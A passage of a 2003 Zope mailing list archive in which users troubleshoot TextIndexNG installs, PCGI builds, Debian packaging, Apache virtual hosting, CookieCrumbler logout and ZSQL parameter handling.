2003 splitters drwxrwxr-x 7 RoelV RoelV 4096 Jan 6 2003 src drwxrwxr-x 3 RoelV RoelV 4096 Jan 7 2003 stopwords -rw-rw-r-- 1 RoelV RoelV 2860 Jan 6 2003 Stopwords.py -rw-rw-r-- 1 RoelV RoelV 587 Jan 6 2003 StopwordsRegistry.py -rw-r--r-- 1 root root 705 Aug 9 15:45 StopwordsRegistry.pyc -rw-rw-r-- 1 RoelV RoelV 574 Jan 6 2003 StorageRegistry.py -rw-r--r-- 1 root root 684 Aug 9 15:45 StorageRegistry.pyc drwxrwxr-x 3 RoelV RoelV 4096 Jan 7 2003 storages drwxrwxr-x 3 RoelV RoelV 4096 Jan 6 2003 tests -rw-rw-r-- 1 RoelV RoelV 601 Jan 6 2003 textindexng_log.ini -rw-rw-r-- 1 RoelV RoelV 29681 Jan 6 2003 TextIndexNG.py -rw-r--r-- 1 root root 33047 Aug 9 15:45 TextIndexNG.pyc -rw-rw-r-- 1 RoelV RoelV 552 Jan 6 2003 Thesaurus.py -rw-rw-r-- 1 RoelV RoelV 1004 Jan 6 2003 Timer.py -rw-rw-r-- 1 RoelV RoelV 5 Jan 6 2003 VERSION.txt drwxrwxr-x 3 RoelV RoelV 4096 Jan 6 2003 www -rw-rw-r-- 1 RoelV RoelV 2366 Jan 6 2003 ZPL.txt [root@PlanetInterior TextIndexNG]# > -----Original Message----- > From: Andreas Jung [mailto:andreas@andreas-jung.com] > Sent: Sunday, August 10, 2003 2:41 PM > To: roel@planetinterior.com; Zope Org > Subject: Re: [Zope] Problems installings TextIndexNG > > > This looks like either the extensions are not installed properly or your > file > permissions of the extensions module are borked or you are installing > or compiling the extension module with a Python interpreter other than > you are using for Zope. > > -aj > > --On Sonntag, 10. August 2003 14:36 Uhr +0200 Roel Van den Bergh > wrote: > > > Hi all, > > > > I tried installing TextIndexNG following the installation > instructions but > > I'm stuck. > > Everytime I restart Zope I get the following error. > > > > I compiled puython extensions for TextIndexNG with Python-2.1.3 > installed > > from source > > > > Zope 2.5.1 installed from source using Python 2.1.3 on fully patched > > (trough up2date) RedHat 7.3 from scratch last Thursday > > > > Any suggestions? > > > > TIA, Roel > > > > [root@PlanetInterior 2-5-1]# ./start -D snip > > ------ > > 2003-08-10T09:35:03 ERROR(200) TextIndexNG Import of Python extensions > > failed snip > > ------ > > 2003-08-10T09:37:25 ERROR(200) Zope Couldn't install TextIndexNG > > Traceback (innermost last): > > File /home/zope/2-5-1/lib/python/OFS/Application.py, line 637, in > > install_product > > (Object: Zope) > > (Info: TextIndexNG) > > File > /home/zope/2-5-1/lib/python/Products/TextIndexNG/__init__.py, line > > 81, in initialize > > File /home/zope/2-5-1/lib/python/Products/TextIndexNG/TextIndexNG.py, > > line 45, in ? > > File > > > /home/zope/2-5-1/lib/python/Products/TextIndexNG/normalizers/__init__.py, > > line 14, in ? > > File /home/zope/2-5-1/lib/python/Products/TextIndexNG/Normalizer.py, > > line 12, in ? > > ImportError: No module named normalizer snip From karuneesh.bagga at itpreneurs.com Mon Aug 11 15:09:51 2003 From: karuneesh.bagga at itpreneurs.com (Karuneesh Bagga) Date: Mon Aug 11 04:37:29 2003 Subject: [Zope] Accessing the User properties from portal_membership tool In-Reply-To: <1060516501.24083.94.camel@jerry.westrick.local> Message-ID: Hi all, I am developing a utility for admin type of user. The problem i am facing is ,the admin type of user is not able to access the properties of other acl_users where as he is in a position to access his own properties and change them. The Properties are stored in the portal_memberdata like user email etc. Here is the code which is causing problem
The function getAuthenticatedMember returns the member object by which i am able to access the currently logged in user properties like his email etc. Now what i want is that when a admin user has logged in, he should be in a position to access the other acl_member's member object and acceess his properties like email stored in portal_member data. The method something like this :
Kindly answer as early as Possible. Its Urgent. Thanks in advance. rgds karuneesh From dean.hale at sunderland.ac.uk Mon Aug 11 11:10:50 2003 From: dean.hale at sunderland.ac.uk (dean hale) Date: Mon Aug 11 05:10:54 2003 Subject: [Zope] [Fwd: displaying results returned structured in ZPT] Message-ID: <3F375D9A.6050805@sunderland.ac.uk> Hi All, Any advice on below is appreciated. Currently have a ZPT page which returns results from a zsql query. All works fine however unsure how to ensure the results returned are structured correctly. The content displays a number of /n and /r s. have had a look around and assume this is what needs to be done (probably wrong) tal:define=" std modules/Products/PythonScript/standard; st nocall: std/structured_text; page_body python: st(getattr(variable,page_body)); " tal:content="structure page_body" however not sure what needs to be replaced for it to work in our example (snipped), which is below. previous 20 results next 20 results

previous 20 results next 20 results

snip Thanks for your help dean -- Dean Hale Information Services Web Development Manager 0191 515 2424 From elena.schulz at gmx.net Mon Aug 11 11:56:33 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Mon Aug 11 05:15:51 2003 Subject: [Zope] parameter transfer to a zsql-method (lists, dictionaries etc.) References: Message-ID: <008301c35fe9$2115c780$010aa8c0@PCA> Hi JCC, >I think your parameter construction is wrong. You're telling Zope that a list is a string, and furthermore, to iterate over a string, which won't work. In the ZSQLGuide I've got it says that ids:list:int indicates that ids is a list of integers. So columns:list:string should mean that columns is a list of strings. But even columns:list didn't work. After further investigation I think the parameter-parsing of zsql-methods is quite restricted and it's better to pass "complicated" structures via a single dictionary. I'll try that. But still I would like to know how it would work with lists and dtml_in constructs. Anyway some complete examples including the parameter part would enhance the ZSQLGuide a lot. -- anyway thanks for your answer, Elena From elena.schulz at gmx.net Mon Aug 11 11:44:06 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Mon Aug 11 05:16:00 2003 Subject: [Zope] Re: sql_quote in dtml-var in zsql-Methods References: Message-ID: <008201c35fe9$20c1db20$010aa8c0@PCA> Hi Jim, > poof, goodbye data! thank you very, very much for your extensive answer. It enlighted my understandig a lot and I think it should be made more public, may be as a part of the Zope Book ZSQL-Section. I didn't find it that clear elsewhere and I am shure it will prevent many others from data loss ... My problems checking sql_quote were that I didn't use the ' ' around '' so there could be no effect of course. I will take your advice of restrict myself of getting > cute trying to build all-singing, all-dancing queries. > The simpler the query is, the easier it is to audit, the easier it is to maintain, and the easier it is to modify. For SQL-Queries the philosopie "less is more" doesn't seem to be true. -- So thanks again, Elena From ijsman77 at hotmail.com Mon Aug 11 12:45:51 2003 From: ijsman77 at hotmail.com (IJSZZ) Date: Mon Aug 11 05:46:31 2003 Subject: [Zope] Logout url for cookie crumbler?? Message-ID: <000501c35fed$59e62a10$a07ba8c0@MarkoNotebook> I installed cookie crumbler 1.1 and i can now use custom login screens. When a user is logged i also want them to have a logout option. But this does not work. mysite/logout returna a page not found error. With login this does work. Do i have to make a new page? I fidn this weird since tie login pages are created with the cookie crumbler. The documentation about this is also very poor so i hope someone here knows how to do this. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030811/00b37637/attachment.htm From tino at wildenhain.de Mon Aug 11 13:37:36 2003 From: tino at wildenhain.de (Tino Wildenhain) Date: Mon Aug 11 06:37:57 2003 Subject: [Zope] zpt link to file In-Reply-To: <009301c35fdc$6f184050$9700000a@MICHAEL> References: <009301c35fdc$6f184050$9700000a@MICHAEL> Message-ID: <3F3771F0.80402@wildenhain.de> Michael Bleijerveld wrote: > Hi, > > The following statements are converted from DTML. Files are stored in a > Localfs object. > > > > > > > 1) The link to the file doesn't work. Must I replace attributes with another > statement ? > 2) I want to make user variable. How can I solve this ? > > Regards. > > Michael > 1.) this should work now if I understand your example 2.) You dont want to do much programming in ZPT since ZPT is for presentation only. The simpler the better. Form your values outside of ZPT with one or more python scripts. You can return any nested lists and dictionaries. HTH Tino Wildenhain From jonas at freesources.org Mon Aug 11 05:10:25 2003 From: jonas at freesources.org (Jonas Meurer) Date: Mon Aug 11 06:51:16 2003 Subject: [Zope] newbie problems with zope in debian/testing In-Reply-To: <3F37302C.1090409@localguru.de> References: <20030810222944.GB13537@smeagol.chathelp.de> <3F37302C.1090409@localguru.de> Message-ID: <20030811021025.GC615@smeagol.chathelp.de> * Marcus Schopen [ 03/08/11]: > help would be easier, if you could tell us, what exactly "broken" is. A > normal "apt-get install zope" should work fine. after that debconf will > ask a you few questions. that's it ....quite easy and nice. yes, zope simply isn't accessable. I added the rewrite-rules in apache and tried to use zope with pcgi. /var/lib/zope/cgi-bin/default wasn't available, so i executed 'zopectl pcgi', but after that /usr/lib/cgi-bin/Zope didn't exist, and that's the dir where the example rewriterules for apache in README.Debian point to. even after linking that to /var/lib/zope/cgi-bin i got an error: permission denied. permissions of files where strange: /var/lib/zope/cgi-bin/default wasn't executable. i changed that, but still same error. that all looked to me like zope package wasn't very stable and hard to configure. but maybe i simply choosed the most complicated way of installing zope and other ways are much easier. bye mejo From mickymouse at mickymouse.it Mon Aug 11 12:04:57 2003 From: mickymouse at mickymouse.it (Michele Bendazzoli) Date: Mon Aug 11 07:04:59 2003 Subject: [Zope] newbie problems with zope in debian/testing In-Reply-To: <20030811021025.GC615@smeagol.chathelp.de> References: <20030810222944.GB13537@smeagol.chathelp.de> <3F37302C.1090409@localguru.de> <20030811021025.GC615@smeagol.chathelp.de> Message-ID: <1060599975.7801.9.camel@mickymouse.sintel> On Mon, 2003-08-11 at 04:10, Jonas Meurer wrote: > that all looked to me like zope package wasn't very stable and hard to > configure. but maybe i simply choosed the most complicated way of > installing zope and other ways are much easier. I use unstable but the error appear to be thata zopectl create instance_name doesn't work. Instead to create the defaul instance I have to use simply "zopectl create". After this all work fine (the default port is 9673 so to login you have to type http://localhost:9673). Hope this help ciao, Michele From andrew at logicalprogression.net Mon Aug 11 13:33:31 2003 From: andrew at logicalprogression.net (Andrew Veitch) Date: Mon Aug 11 07:26:59 2003 Subject: [Zope] Logout url for cookie crumbler?? In-Reply-To: <000501c35fed$59e62a10$a07ba8c0@MarkoNotebook> Message-ID: You need to use the url: mysite/cookie/logout assuming that your cookiecrumbler was called 'cookie'. This is because to login you just need to call a protected method which will probably be any part of your site but to logout you need to call CookieCrumbler's logout method. Andrew -- Logical Progression Ltd, 20 Forth Street, Edinburgh EH1 3LH, UK Tel: +44 (0)131 550 3733 Web: http://www.logicalprogression.net/ From: "IJSZZ" Date: Mon, 11 Aug 2003 11:45:51 +0200 To: "Zope mailing list" Subject: [Zope] Logout url for cookie crumbler?? I installed cookie crumbler 1.1 and i can now use custom login screens. When a user is logged i also want them to have a logout option. But this does not work. mysite/logout returna a page not found error. With login this does work. Do i have to make a new page? I fidn this weird since tie login pages are created with the cookie crumbler. The documentation about this is also very poor so i hope someone here knows how to do this. _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From andrew at logicalprogression.net Mon Aug 11 13:38:23 2003 From: andrew at logicalprogression.net (Andrew Veitch) Date: Mon Aug 11 07:31:48 2003 Subject: [Zope] Z SQL row to dictionary In-Reply-To: <1060385443.20159.23.camel@jerry.westrick.local> Message-ID: The new version of the Zope book covers this see: http://zope.org/Documentation/Books/ZopeBook/current/RelationalDatabases.stx It's near the bottom of the page. Andrew -- Logical Progression Ltd, 20 Forth Street, Edinburgh EH1 3LH, UK Tel: +44 (0)131 550 3733 Web: http://www.logicalprogression.net/ > From: Jerry Westrick > Reply-To: Jerry@Westrick.com > Date: 09 Aug 2003 01:30:43 +0200 > To: zope@zope.org > Subject: [Zope] Z SQL row to dictionary > > Hello... > > anybody know how to convert the row returned from > an Z SQL into a dictionary? > > Jerry > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From jens at zope.com Mon Aug 11 08:43:47 2003 From: jens at zope.com (Jens Vagelpohl) Date: Mon Aug 11 07:45:21 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 In-Reply-To: Message-ID: <1168C451-CBF1-11D7-A878-000393D58818@zope.com> Unless you have a pressing reason to choose PCGI do not do it. Use RewriteRules with Apache to achieve the desired effect simpler and more efficiently. Have your Zope listen on a local port on that machine. jens On Monday, Aug 11, 2003, at 04:03 US/Eastern, Aguido Horatio Davis wrote: > > G'day, > > I am installing Zope on a server whose only Python is 2.3 and which is > already running Apache on port 80. Port 80 is the only one that is > permitted > through our local firewalls, a small but significant percentage of the > audience are outside the firewall, and the system administrator (who > isn't > me) refuses point-blank to permit the use of mod_fastcgi or mod_proxy. > > So I'm trying to build Zope 2.7b1 with PCGI support. When the dust > settles > on the "make build; make install" there is no Zope.cgi to be seen. The > file > doc/WEBSERVERS.txt has the intriguing sentence: > > To install PCGI, please get the PCGI support package from XXX, and > read the pcgi/README.txt file from that package. > > and then blithely describes what to do once you _have_ a Zope.cgi file > to > play with. > > Can anybody point me at the mysterious XXX, or failing that, tell me > how to > coerce Zope 2.7 into coughing up a Zope.cgi file? > > Cheers, > > Horatio > From tim at planetinterior.com Mon Aug 11 16:31:08 2003 From: tim at planetinterior.com (Tim Willems) Date: Mon Aug 11 09:26:52 2003 Subject: [Zope] Help!!! Virtual Hosting Zope behind Apache Message-ID: I'm starting to get desperate: seems none of the Virtual Hosting how-to's fit my needs :-( I simply need to make Apache 1.3.27 (with mod_rewrite & mod_proxy loaded) redirect port 8080 to port 80. So my Zope CMF sites run on www.planetinterior.be:8080/foo & rmw.planetinterior.be:8080/foo2, but I need it to be known to the outside world as www.planetinterior.be/foo & rmw.planetinterior.be/foo2. Below you can find the last lines of my httpd.conf: NameVirtualHost 194.78.49.253 ServerName www.planetinterior.be RewriteEngine On RewriteRule ^/(.*) http://localhost:8080/VirtualHostBase/http/%{HTTP_HOST}:80/$1 [L,P] What can be wrong? VHM is installed in the root. Is it the order of things to install, or restarting (though i tried this already, Apache & zope) Since this is a production site, i need to be up & running ASAP! Thanks in advance, _______________________________________________ Tim Willems - Architect Planet Interior bvba Brouwerijstraat 16 2200 Noorderwijk Belgium mob: +32 (0)496 532377 tel: +32 (0)14 279396 fax: +32 (0)14 264790 email: tim@planetinterior.com portfolio: www.planetinterior.com This email and any attached files are confidential and may be legally privileged. If you are not the intended recipient, any disclosure, reproduction, copying, distribution, or other dissemination or use of this communication is strictly prohibited. If you have received this transmission in error please notify the sender immediately and then delete this email. Email transmission cannot be guaranteed to be secure or error free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore is in no way liable for any errors or omissions in the content of this message, which may arise as a result of email transmission. If verification is required, please request a hard copy. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030811/1fcada46/attachment.htm From jonas at freesources.org Mon Aug 11 16:37:36 2003 From: jonas at freesources.org (Jonas Meurer) Date: Mon Aug 11 09:37:50 2003 Subject: [Zope] newbie problems with zope in debian/testing In-Reply-To: <1060599975.7801.9.camel@mickymouse.sintel> References: <20030810222944.GB13537@smeagol.chathelp.de> <3F37302C.1090409@localguru.de> <20030811021025.GC615@smeagol.chathelp.de> <1060599975.7801.9.camel@mickymouse.sintel> Message-ID: <20030811133735.GA658@smeagol.chathelp.de> * Michele Bendazzoli [ 03/08/11]: > > that all looked to me like zope package wasn't very stable and hard to > > configure. but maybe i simply choosed the most complicated way of > > installing zope and other ways are much easier. > > I use unstable but the error appear to be thata zopectl create > instance_name doesn't work. Instead to create the defaul instance I have > to use simply "zopectl create". zope in testing and unstable are the same releases, so should be same install. > After this all work fine (the default port is 9673 so to login you have > to type http://localhost:9673). mh, after 'zope create' and answering the debconf questions, i got at the following at fetching http://localhost:9673/: Site Error An error was encountered while publishing this resource. struct.error Sorry, a site error occurred. Traceback (innermost last): * Module ZPublisher.Publish, line 150, in publish_module * Module Products.Localizer, line 58, in new_publish * Module ZPublisher.Publish, line 114, in publish * Module Zope.App.startup, line 149, in zpublisher_exception_hook * Module ZODB.Connection, line 509, in setstate * Module ZODB.FileStorage, line 650, in load * Module ZODB.FileStorage, line 628, in _load error: unpack str size does not match format any suggestions or debugging ideas? bye mejo From mickymouse at mickymouse.it Mon Aug 11 14:41:33 2003 From: mickymouse at mickymouse.it (Michele Bendazzoli) Date: Mon Aug 11 09:41:35 2003 Subject: [Zope] Plone in debian unstable Message-ID: <1060609370.8204.9.camel@mickymouse.sintel> A few days ago i have successfully installed plone site an play around with it. This morning i have upgrade the default version of python from 2.2 to 2.3 and selected/deselected some package. Now when i try to access to the plone selecting it and clicking the view tab, the following site error message was displayed: *** Site Error An error was encountered while publishing this resource. AttributeError Sorry, a site error occurred. Traceback (innermost last): * Module ZPublisher.Publish, line 150, in publish_module * Module Products.Localizer, line 58, in new_publish * Module ZPublisher.Publish, line 114, in publish * Module Zope.App.startup, line 182, in zpublisher_exception_hook * Module ZPublisher.Publish, line 98, in publish * Module ZPublisher.mapply, line 88, in mapply * Module ZPublisher.Publish, line 39, in call_object * Module Products.CMFCore.PortalContent, line 117, in __call__ * Module Shared.DC.Scripts.Bindings, line 252, in __call__ * Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec * Module Products.CMFCore.FSPageTemplate, line 167, in _exec * Module Products.PageTemplates.ZopePageTemplate, line 228, in _exec * Module Products.CMFCore.FSPageTemplate, line 139, in pt_render * Module Products.PageTemplates.PageTemplate, line 95, in pt_render * Module TAL.TALInterpreter, line 200, in __call__ * Module TAL.TALInterpreter, line 244, in interpret * Module TAL.TALInterpreter, line 703, in do_useMacro * Module TAL.TALInterpreter, line 244, in interpret * Module TAL.TALInterpreter, line 473, in do_setLocal_tal * Module Products.PageTemplates.TALES, line 217, in evaluate Line 3, Column 0 Expression: Names: {'container': , 'default': , 'here': , 'loop': , 'modules': , 'nothing': None, 'options': {'args': ()}, 'repeat': , 'request': , 'root': , 'template': , 'traverse_subpath': [], 'user': mickymouse} * Module Products.PageTemplates.ZRPythonExpr, line 48, in __call__ __traceback_info__: modules['Products.CMFPlone'].IndexIterator * Module Python expression "modules['Products.CMFPlone'].IndexIterator", line 2, in f * Module AccessControl.ZopeGuards, line 90, in guarded_getitem * Module Products.PageTemplates.ZRPythonExpr, line 56, in __getitem__ AttributeError: 'Products' module has no attribute 'CMFPlone' (Also, an error occurred while attempting to render the standard error message.) *** Can someone point out me in the right direction? Is this a conflict between zope and the 2.3 version of python or i have made some mistake that I'm not aware of? Thanks in advance for any advice ciao, Michele From sdrees at sdrees.de Mon Aug 11 16:42:53 2003 From: sdrees at sdrees.de (Stefan Drees) Date: Mon Aug 11 09:42:57 2003 Subject: [Zope] newbie problems with zope in debian/testing In-Reply-To: <20030811133735.GA658@smeagol.chathelp.de> References: <20030810222944.GB13537@smeagol.chathelp.de> <3F37302C.1090409@localguru.de> <20030811021025.GC615@smeagol.chathelp.de> <1060599975.7801.9.camel@mickymouse.sintel> <20030811133735.GA658@smeagol.chathelp.de> Message-ID: <20030811134253.GA32679@knoten.biz> On Mon, Aug 11, 2003 at 03:37:36PM +0200 - a wonderful day - Jonas Meurer wrote: > * Michele Bendazzoli [ 03/08/11]: > > > that all looked to me like zope package wasn't very stable > > > and hard to configure. but maybe i simply choosed the most > > > complicated way of installing zope and other ways are much > > > easier. > > > > I use unstable but the error appear to be thata zopectl create > > instance_name doesn't work. Instead to create the defaul > > instance I have to use simply "zopectl create". > > zope in testing and unstable are the same releases, so should > be same install. > > > After this all work fine (the default port is 9673 so to > > login you have to type http://localhost:9673). > > mh, after 'zope create' and answering the debconf questions, ... what about 'zopectl create' ? > ... All the best, Stefan Drees. -- Stefan Drees, sdrees@python.net, www.sdrees.biz Fingerprint = 516C C4EF 712A B26F 15C9 C7B7 5651 6964 D508 1B56 From edegoute at nuxeo.com Mon Aug 11 17:00:39 2003 From: edegoute at nuxeo.com (Encolpe DEGOUTE) Date: Mon Aug 11 10:00:44 2003 Subject: [Zope] Plone in debian unstable References: <1060609370.8204.9.camel@mickymouse.sintel> Message-ID: <20030811160039.17cb9096.edegoute@nuxeo.com> On 11 Aug 2003 15:42:51 +0200 Michele Bendazzoli wrote: > A few days ago i have successfully installed plone site an play around > with it. This morning i have upgrade the default version of python > from 2.2 to 2.3 and selected/deselected some package. There's lot of pythonware broken this morning because of this upgrade. default python executable and site-packages was python2.2 yesterday and become python2.3 today. One solution, ask the debian maintener to change dependance of zope and plone to python2.2 instead of python. Use 'reportbug plone'. boa-constructor is broken too. -- Encolpe DEGOUTE, Ing?nieur Logiciel, Nuxeo SARL: Zope Service Provider. Mail: edegoute@nuxeo.com - Tel: +33 (0)1 40 33 79 18 Nuxeo Collaborative Portal Server: http://www.nuxeo.com/cps Gestion de contenu web / portail collaboratif / groupware / open source From zope at dylanreinhardt.com Mon Aug 11 15:21:12 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Mon Aug 11 10:21:14 2003 Subject: [Zope] Help!!! Virtual Hosting Zope behind Apache In-Reply-To: References: Message-ID: <1060611639.4719.12.camel@ida.dylanreinhardt.com> You didn't mention what it is about your setup that isn't working, but I'd suspect one or more of the following: 1. You have no VirtualHostRoot in your RewriteRule 2. You're matching on IP... try matching *. 3. You included the end of an IfDefine... are you sure the test enclosing your virtual host block works correctly? 4. Is this IP the second (or greater) IP being served by Apache? You'll need to explicitly tell Apache to listen for it. Problem 1 is the most obvious, but shouldn't prevent you from hitting a page... it will (usually) cause all subsequent graphics and links to be broken, though. Either of the other three problems would probably result in the site not being seen at all. If that doesn't help, please describe your problem in greater detail. HTH, Dylan From mickymouse at mickymouse.it Mon Aug 11 15:28:50 2003 From: mickymouse at mickymouse.it (Michele Bendazzoli) Date: Mon Aug 11 10:28:52 2003 Subject: [Zope] Plone in debian unstable In-Reply-To: <20030811160039.17cb9096.edegoute@nuxeo.com> References: <1060609370.8204.9.camel@mickymouse.sintel> <20030811160039.17cb9096.edegoute@nuxeo.com> Message-ID: <1060612208.8261.0.camel@mickymouse.sintel> On Mon, 2003-08-11 at 16:00, Encolpe DEGOUTE wrote: > One solution, ask the debian maintener to change dependance of zope and > plone to python2.2 instead of python. > Use 'reportbug plone'. Ok, thank you. ciao, Michele From tim at planetinterior.com Mon Aug 11 17:33:07 2003 From: tim at planetinterior.com (Tim Willems) Date: Mon Aug 11 10:29:09 2003 Subject: [Zope] Help!!! Virtual Hosting Zope behind Apache In-Reply-To: <1060611639.4719.12.camel@ida.dylanreinhardt.com> Message-ID: OK stupid me ;-) I included my VirtualHost rules between the wrong tags :-p I invite the whole Zope-community for a 1 minute laugh! Thanks everyone anyway! Tim -----Oorspronkelijk bericht----- Van: Dylan Reinhardt [mailto:zope@dylanreinhardt.com] Verzonden: maandag 11 augustus 2003 16:21 Aan: Tim Willems CC: zope@zope.org Onderwerp: Re: [Zope] Help!!! Virtual Hosting Zope behind Apache You didn't mention what it is about your setup that isn't working, but I'd suspect one or more of the following: 1. You have no VirtualHostRoot in your RewriteRule 2. You're matching on IP... try matching *. 3. You included the end of an IfDefine... are you sure the test enclosing your virtual host block works correctly? 4. Is this IP the second (or greater) IP being served by Apache? You'll need to explicitly tell Apache to listen for it. Problem 1 is the most obvious, but shouldn't prevent you from hitting a page... it will (usually) cause all subsequent graphics and links to be broken, though. Either of the other three problems would probably result in the site not being seen at all. If that doesn't help, please describe your problem in greater detail. HTH, Dylan From juanma at mailmadrid.com Mon Aug 11 17:29:25 2003 From: juanma at mailmadrid.com (Juan Manuel Ruiz Garcia) Date: Mon Aug 11 10:30:02 2003 Subject: [Zope] TextIndexNG again Message-ID: <50668.80.58.0.170.1060612165.squirrel@llca352-a.servidoresdns.net> I keep trying to get TextIndexNG2 working on my Plone site (running under Windows 2000, Zope 2.6.1, Python 2.1.3) I've put the prebuild files at Plone\Python\DLLs folder, and I get this error: ------ 2003-08-11T14:17:16 ERROR(200) TextIndexNG Import of Python extensions failed ------ 2003-08-11T14:17:16 INFO(0) ZODB Opening database for mounting: '21068880_1060602842.890000' ------ 2003-08-11T14:17:16 INFO(0) ZODB Mounted database '21068880_1060602842.890000' at /temp_folder ------ 2003-08-11T14:17:16 INFO(0) Zope Default Object Creation C:\Plone\Zope\import\Examples.zexp examples import file could not be found. ------ 2003-08-11T14:17:17 ERROR(200) Zope Couldn't install TextIndexNG2 Traceback (innermost last): File C:\Plone\Zope\lib\python\OFS\Application.py, line 647, in install_product (Object: Zope) (Info: TextIndexNG2) File C:\Plone\Zope\lib\python\Products\TextIndexNG2\__init__.py, line 82, in initialize File C:\Plone\Zope\lib\python\Products\TextIndexNG2\TextIndexNG.py, line 43, in ? File C:\Plone\Zope\lib\python\Products\TextIndexNG2\normalizers\__init__.py, line 14, in ? File C:\Plone\Zope\lib\python\Products\TextIndexNG2\Normalizer.py, line 19, in ? (Object: os) ImportError: DLL load failed: No se puede encontrar el m?dulo especificado. ATT: (Last line, in engish is something like: "I can't find specified module") If I don't have the prebuild .pyd files, the error says: 2003-08-11T14:24:42 ERROR(200) Zope Couldn't install TextIndexNG2 Traceback (innermost last): File C:\Plone\Zope\lib\python\OFS\Application.py, line 647, in install_product (Object: Zope) (Info: TextIndexNG2) File C:\Plone\Zope\lib\python\Products\TextIndexNG2\__init__.py, line 82, in initialize File C:\Plone\Zope\lib\python\Products\TextIndexNG2\TextIndexNG.py, line 43, in ? File C:\Plone\Zope\lib\python\Products\TextIndexNG2\normalizers\__init__.py, line 14, in ? File C:\Plone\Zope\lib\python\Products\TextIndexNG2\Normalizer.py, line 19, in ? (Object: os) ImportError: No module named normalizer So, it seems to find the files correctly, but something make it crash... please, someone has been able to install this product on Win2K? I'm running it with the Python distribution that comes with Plone/zope... is this the problem?? Thanks in advance. From andreas at andreas-jung.com Mon Aug 11 17:49:05 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Mon Aug 11 10:48:59 2003 Subject: [Zope] TextIndexNG again In-Reply-To: <50668.80.58.0.170.1060612165.squirrel@llca352-a.servidoresdns.net> References: <50668.80.58.0.170.1060612165.squirrel@llca352-a.servidoresdns.n et> Message-ID: <2147483647.1060620545@[192.168.0.100]> The Win32 modules work fine for me. -aj --On Montag, 11. August 2003 16:29 Uhr +0200 Juan Manuel Ruiz Garcia wrote: > I keep trying to get TextIndexNG2 working on my Plone site (running under > Windows 2000, Zope 2.6.1, Python 2.1.3) > > I've put the prebuild files at Plone\Python\DLLs folder, and I get this > error: > > ------ > 2003-08-11T14:17:16 ERROR(200) TextIndexNG Import of Python extensions > failed ------ > 2003-08-11T14:17:16 INFO(0) ZODB Opening database for mounting: > '21068880_1060602842.890000' > ------ > 2003-08-11T14:17:16 INFO(0) ZODB Mounted database > '21068880_1060602842.890000' at /temp_folder > ------ > 2003-08-11T14:17:16 INFO(0) Zope Default Object Creation > C:\Plone\Zope\import\Examples.zexp examples import file could not be > found. > ------ > 2003-08-11T14:17:17 ERROR(200) Zope Couldn't install TextIndexNG2 > Traceback (innermost last): > File C:\Plone\Zope\lib\python\OFS\Application.py, line 647, in > install_product > (Object: Zope) > (Info: TextIndexNG2) > File C:\Plone\Zope\lib\python\Products\TextIndexNG2\__init__.py, line > 82, in initialize > File C:\Plone\Zope\lib\python\Products\TextIndexNG2\TextIndexNG.py, line > 43, in ? > File > C:\Plone\Zope\lib\python\Products\TextIndexNG2\normalizers\__init__.py, > line 14, in ? > File C:\Plone\Zope\lib\python\Products\TextIndexNG2\Normalizer.py, line > 19, in ? > (Object: os) > ImportError: DLL load failed: No se puede encontrar el m?dulo > especificado. > > ATT: (Last line, in engish is something like: "I can't find specified > module") > > If I don't have the prebuild .pyd files, the error says: > > 2003-08-11T14:24:42 ERROR(200) Zope Couldn't install TextIndexNG2 > Traceback (innermost last): > File C:\Plone\Zope\lib\python\OFS\Application.py, line 647, in > install_product > (Object: Zope) > (Info: TextIndexNG2) > File C:\Plone\Zope\lib\python\Products\TextIndexNG2\__init__.py, line > 82, in initialize > File C:\Plone\Zope\lib\python\Products\TextIndexNG2\TextIndexNG.py, line > 43, in ? > File > C:\Plone\Zope\lib\python\Products\TextIndexNG2\normalizers\__init__.py, > line 14, in ? > File C:\Plone\Zope\lib\python\Products\TextIndexNG2\Normalizer.py, line > 19, in ? > (Object: os) > ImportError: No module named normalizer > > So, it seems to find the files correctly, but something make it crash... > please, someone has been able to install this product on Win2K? > > I'm running it with the Python distribution that comes with Plone/zope... > is this the problem?? > > Thanks in advance. > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From mlong at datalong.com Mon Aug 11 13:05:31 2003 From: mlong at datalong.com (Michael Long) Date: Mon Aug 11 12:05:38 2003 Subject: [Zope] User object Message-ID: Now that I can access the ZODB via the python interpreter I can't seem to find the User object and its methods. The challange I am facing is that to see some of the objects in the ZODB I must be an authenticated user. I have tried both of these with no luck. dir(app) dir(Zope) What am I missing? tia, Mike From dman at dman13.dyndns.org Mon Aug 11 13:11:54 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Mon Aug 11 12:12:01 2003 Subject: [Zope] Re: Plone in debian unstable In-Reply-To: <1060609370.8204.9.camel@mickymouse.sintel> References: <1060609370.8204.9.camel@mickymouse.sintel> Message-ID: <20030811161154.GC14842@dman13.dyndns.org> On Mon, Aug 11, 2003 at 03:42:51PM +0200, Michele Bendazzoli wrote: | A few days ago i have successfully installed plone site an play around | with it. This morning i have upgrade the default version of python from | 2.2 to 2.3 and selected/deselected some package. Don't do that. Be certain you know what you are doing and are ready to debug problems before you upgrade with "unstable". If you want new(er) software, but don't want the (potential) problems like you have now, track "testing" instead. zope 2.6 needs python 2.1.3. I don't recommend trying to run it with any other version. HTH, -D -- If any of you lacks wisdom, he should ask God, who gives generously to all without finding fault, and it will be given to him. But when he asks he must believe 